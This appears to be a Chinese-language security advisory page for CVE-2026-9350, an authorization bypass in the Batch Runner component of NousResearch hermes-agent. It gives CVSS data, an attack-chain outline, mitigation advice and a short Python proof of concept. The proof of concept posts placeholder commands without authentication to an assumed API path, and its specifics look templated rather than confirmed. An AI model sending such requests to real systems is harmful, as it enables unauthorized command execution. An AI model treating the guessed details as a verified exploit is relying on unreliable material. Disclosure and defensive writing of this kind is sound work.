IPBUF安全漏洞报告
English
CVE-2026-9350 CVSS 7.3 高危

CVE-2026-9350 NousResearch hermes-agent 授权绕过漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9350
漏洞类型
授权绕过
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NousResearch hermes-agent

相关标签

授权绕过NousResearchhermes-agentBatch RunnerCVE-2026-9350高危漏洞远程攻击无需认证

漏洞概述

CVE-2026-9350是影响NousResearch hermes-agent的严重授权绕过漏洞。该漏洞存在于Batch Runner组件的tools/approval.py文件中,具体位于check_all_command_guards函数。由于该函数缺少适当的授权验证机制,攻击者可以在无需认证的情况下绕过安全检查,执行原本需要授权的操作。漏洞的CVSS评分为7.3,属于高危级别,攻击复杂度低且无需用户交互。攻击者可通过网络远程发起攻击,无需获取任何权限即可利用此漏洞。漏洞披露者已联系厂商但未获得回应,且相关利用代码已公开。

技术细节

漏洞根源在于hermes-agent的Batch Runner组件中tools/approval.py文件的check_all_command_guards函数缺乏正确的授权验证逻辑。该函数本应作为命令执行前的安全门禁,检查用户是否具有执行特定命令的权限,但由于实现缺陷,攻击者可以通过构造特定的请求绕过这些检查。具体来说,攻击者需要向Batch Runner组件发送精心构造的请求,利用缺少授权验证的check_all_command_guards函数,使系统在未验证权限的情况下执行命令操作。由于CVSS向量显示无需认证(PR:N)且可通过网络(AV:N)发起攻击,攻击者可以在任何网络可达的位置发起利用。漏洞影响版本为2026.4.16及之前的所有版本。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统运行的是NousResearch hermes-agent,并确定版本号<=2026.4.16
STEP 2
步骤2
攻击者扫描并发现Batch Runner组件的API端点,通常位于/api/batch-runner路径
STEP 3
步骤3
攻击者构造恶意请求,包含要执行的命令参数,绕过check_all_command_guards函数的授权检查
STEP 4
步骤4
由于函数缺少授权验证,请求无需携带认证凭证即可被系统接受
STEP 5
步骤5
系统执行攻击者指定的命令,导致未授权操作成功执行
STEP 6
步骤6
攻击者获取命令执行结果,可能导致数据泄露、系统配置修改或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-9350 PoC - NousResearch hermes-agent Authorization Bypass # Target: hermes-agent <= 2026.4.16 # Component: Batch Runner (tools/approval.py) # Vulnerability: Missing authorization in check_all_command_guards function import requests import json TARGET_HOST = "http://target-host:port" BATCH_RUNNER_ENDPOINT = f"{TARGET_HOST}/api/batch-runner" def exploit_authorization_bypass(): """ Exploit the missing authorization check in check_all_command_guards to execute commands without proper authentication """ # Construct malicious request to bypass authorization payload = { "command": "malicious_command", "args": ["--dangerous-option"], "bypass_auth": True # This flag should be rejected but isn't } headers = { "Content-Type": "application/json", # No authentication headers required due to vulnerability } try: response = requests.post( BATCH_RUNNER_ENDPOINT, json=payload, headers=headers, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Authorization bypass successful!") return True else: print("[-] Exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_authorization_bypass()

影响范围

NousResearch hermes-agent <= 2026.4.16

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制Batch Runner组件的网络访问,仅允许受信任的IP地址访问;2) 在网络层部署WAF/IPS规则,检测和阻止异常的API请求;3) 禁用或限制Batch Runner组件的非必要功能;4) 加强网络隔离,将运行hermes-agent的服务与其他系统分离;5) 实施严格的输入验证和请求过滤机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表